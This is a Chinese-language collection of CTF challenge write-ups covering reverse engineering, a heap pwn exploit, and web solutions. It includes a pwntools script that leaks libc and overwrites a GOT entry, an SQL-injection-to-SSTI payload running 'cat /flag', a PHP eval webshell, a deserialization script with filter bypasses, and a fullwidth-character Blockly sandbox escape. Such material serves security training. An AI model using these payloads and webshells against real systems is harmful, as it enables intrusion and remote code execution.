// 对输入字符进行复杂变换
v3 = (((((((input[j + 5] << 7) | (input[j + 5] >> 1)) << 6) ^ 0x0FFFFFFC0) |
((((input[j + 5] << 7) | (input[j + 5] >> 1)) & 0xff) >> 2) ^ 0x3B) ^ 0x0FFFFFFBE);
// 生成临时值的变换
temp = (((v3 << 5) | (v3 >> 3)) ^ 0xFFFFFFAD) & 0xff;
temp2 = (((temp << 4) | (temp >> 4)) ^ 0x0FFFFFFDE) & 0xff;
temp3 = ((temp2 << 3) | (temp2 >> 5));
// 使用 SBox、deadbeef 和临时值生成加密字节
v14[j] = SBox[(SBox[v7] + v12) & 0xff] ^ deadbeef[j & 3] ^ temp3;
}
// 将生成的加密输出与提供的 XOR 值进行 XOR 操作
for (int i = 0; i < 22; i++) {
v14[i] ^= xor;
}
// 返回加密结果
return v14;
}
int main() {
unsigned char *input = malloc(30); // 为输入分配内存
memcpy(input, "flag{AAAAAAAAAAAAAAAAAAAAA}", 27); // 将初始标志字符串复制到输入中
// 预定义的加密结果，用于比较
unsigned char result[30] = {
0xC4, 0xEE, 0x3C, 0xBB, 0xE7, 0xFD, 0x67, 0x1D,
0xF8, 0x97, 0x68, 0x9D, 0x0B, 0x7F, 0xC7, 0x80,
0xDF, 0xF9, 0x4B, 0xA0, 0x46, 0x91
};
unsigned temp = 0;
// 为了解密兼容性，交换结果数组中的值
temp = result[7];
result[7] = result[11];
result[11] = temp;
temp = result[12];
result[12] = result[16];
result[16] = temp;
// 遍历可能的 XOR 值（0-255）
for (int k = 0; k < 256; k++) {
for (int i = 0; i < 22; i++) {
int j = 0;
for (; j < 256; j++) {
input[5 + i] = j; // 将输入的第 i 个字符设置为当前 j 值
unsigned char *encrypted = enc(input, k); // 加密修改后的输入
// 将加密输出与预定义结果进行比较
if (result[i] == encrypted[i]) {
printf("%c", j); // 如果匹配，打印字符
break;
}
}
if (j == 256) {
printf("?"); // 如果未找到匹配，打印 '?'
}
}
printf("\n"); // 处理每个 XOR 值后换行
}
return 0; // 表示成功执行
}
1、经过逆向分析，发现flag由每个关卡中每个箱子移动的最短次数拼接而成的MD5值以及几个字符构成。经过进一步分析，得知共有13张地图，其中3代表箱子，4代表目标位置，2代表玩家，1代表墙壁。最后四张地图对应的字符为q、w、b和!。
2、分析数据
3、得到每个关卡中每个箱子移动的最短的次数拼接的序列为：212139211325313
4、进行md5，fec2d316d20dbacbe0cdff8fb6ff07b9
5、qwb!_拼接md5得到flag
flag{qwb!_fec2d316d20dbacbe0cdff8fb6ff07b9}
1、 使用 Python 的 pwntools 库编写EXP
from pwn import *
import argparse
# 设置日志级别为调试
context.log_level = "debug"
# 连接到远程地址
conn = remote('IP', Port)
# 加载 libc 库和二进制文件
libc_lib = ELF('libc-2.35.so', checksec=False)
binary = ELF('./pwn', checksec=False)
# 创建一个商品
def create_item(size):
conn.sendlineafter(b'Enter your choice: ', b'1')
conn.sendlineafter(b'Enter your commodity size \n', str(size).encode())
# 删除一个商品
def remove_item(index):
conn.sendlineafter(b'Enter your choice: ', b'2')
conn.sendlineafter(b'Enter which to delete: \n', str(index).encode())
# 更新一个商品
def update_item(index, content):
conn.sendlineafter(b'Enter your choice: ', b'3')
conn.sendlineafter(b'Enter which to edit: \n', str(index).encode())
conn.sendlineafter(b'Input the content \n', str(content).encode())
# 显示一个商品
def display_item(index):
conn.sendlineafter(b'Enter your choice: ', b'4')
conn.sendlineafter(b'Enter which to show: \n', str(index).encode())
conn.recvuntil(b'The content is here \n')
return conn.recvuntil(b'Menu:\n')[:-6]
# 调用隐藏函数
def hidden_function():
conn.sendlineafter(b'Enter your choice: ', b'5')
conn.sendlineafter(b'Maybe you will be sad !\n', b'2')
# 自定义函数用于覆盖内存
def custom_function(target_addr, content):
conn.sendlineafter(b'Enter your choice: ', b'10')
conn.sendafter(b'Input your target addr \n', target_addr)
conn.send(content)
# 创建多个商品
create_item(0x628)
create_item(0x618)
create_item(0x638)
create_item(0x618)
# 删除第二个商品
remove_item(1)
# 获取 libc 地址
libc_lib.address = u64(display_item(1)[:8]) + 0x9c0 - libc_lib.sym['_IO_2_1_stderr_']
success("libc_lib.address = " + hex(libc_lib.address))
# 获取 got 中的 strlen 地址并进行覆盖
got_strlen_addr = libc_lib.address + 0x21a118
custom_function(p64(got_strlen_addr), p64(libc_lib.sym["printf"]))
# 调用隐藏函数
hidden_function()
# 进入交互模式
conn.interactive()
1、打开网站，发现存在SQL注入
2、通过SQL注入执行cat /flag命令，获取Flag
http://xxxxxxxxxxxxxxxxxxx/snake_win?username=1%27%20union%20select%201%2c2%2c%22{{lipsum.__globals__.__builtins__.eval(%27__import__(\%27os\%27).popen(\%27cat%09/flag\%27).read()%27)}}%22--%20-
1、根据源码需要访问/v1/api/flag路由才能获取flag
2、需要绕过 Nginx 对 /v1 路径的限制，并通过 /v2 路径的代理功能来获取 flag。我们可以利用 /v2/api/proxy 端点来发起一个内部请求，从而访问 /v1/api/flag 端点。
1、访问/admin/admins进入管理页面
2、支付设置一句话木马
<?php @eval($_GET['shell']);?>
3、构造Payload访问
?shell=system('cat /flag');
4、获取Flag
flag{cab6ba2f-3e1e-4fe9-bbdc-7a5f913f2a83}
1、发现有过滤，双写绕过，拼接绕过
2、反序列读取文件
import requests
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Cache-Control': 'no-cache',
'Content-Type': 'application/x-www-form-urlencoded',
'Pragma': 'no-cache',
'Proxy-Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
}
params = {
'1': "/readflag"
}
data = {
'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"("sys"."tem")($_GET[1]);";}password|s:1:"a',
'username': 'popenpopenpopenpopenpopenpopenpopenpopenpopensystempopen'
}
url = ""
while 1:
r = requests.session()
response1 = r.post(url+'/index.php', headers=headers, params=params, data=data, verify=False, allow_redirects=False)
response2 = r.post(url+'/index.php', headers=headers, params=params, data=data,verify=False, allow_redirects=False)
response4 = r.post(url + '/dashboard.php?1=/readflag', headers=headers, verify=False, allow_redirects=False)
if "flag" in response4.text:
print(response4.text)
print(r.cookies)
break
r.close()
1、分析附件源码
module_exists 函数检查模块是否可以安全导入，以防止使用内置或潜在有害的模块。verify_secure 函数遍历编译后的 Python 代码的抽象语法树（AST），确保没有导入被禁用的模块（如 os、sys 等）。block_to_python 函数递归地将输入块转换为 Python 代码，处理各种类型的块（如打印、数学运算和文本），并检查是否包含黑名单中的符号。do 函数创建一个执行环境，并使用自定义审计钩子防止不安全操作（如 exec、eval）。它编译源代码并执行，返回输出或错误消息。/ 端点提供静态 HTML 文件，而 blockly 端点接受包含 Blockly JSON 数据的 POST 请求，将其转换为 Python 代码并执行。2、/blockly_json 路由通过POST接收blockly_json数据，需要构造payload来进行代码执行，同时绕过过滤符号的干扰。
3、最终Payload如下，POST发送请求，获取Flag
{"blocks":{"languageVersion":0,"blocks":[{"type":"text","id":"jYB$IHzk5/eGb72F[wTl","x":120,"y":86,"fields":{"TEXT":"‘；＿＿import＿＿（”builtins”）。len＝lambda a：1；’‘；＿＿import＿＿（”os”）。system（”＄（printf ‘＼144＼144＼40＼151＼146＼75＼57＼146＼154＼141＼147’）； ”）；’"}}]}}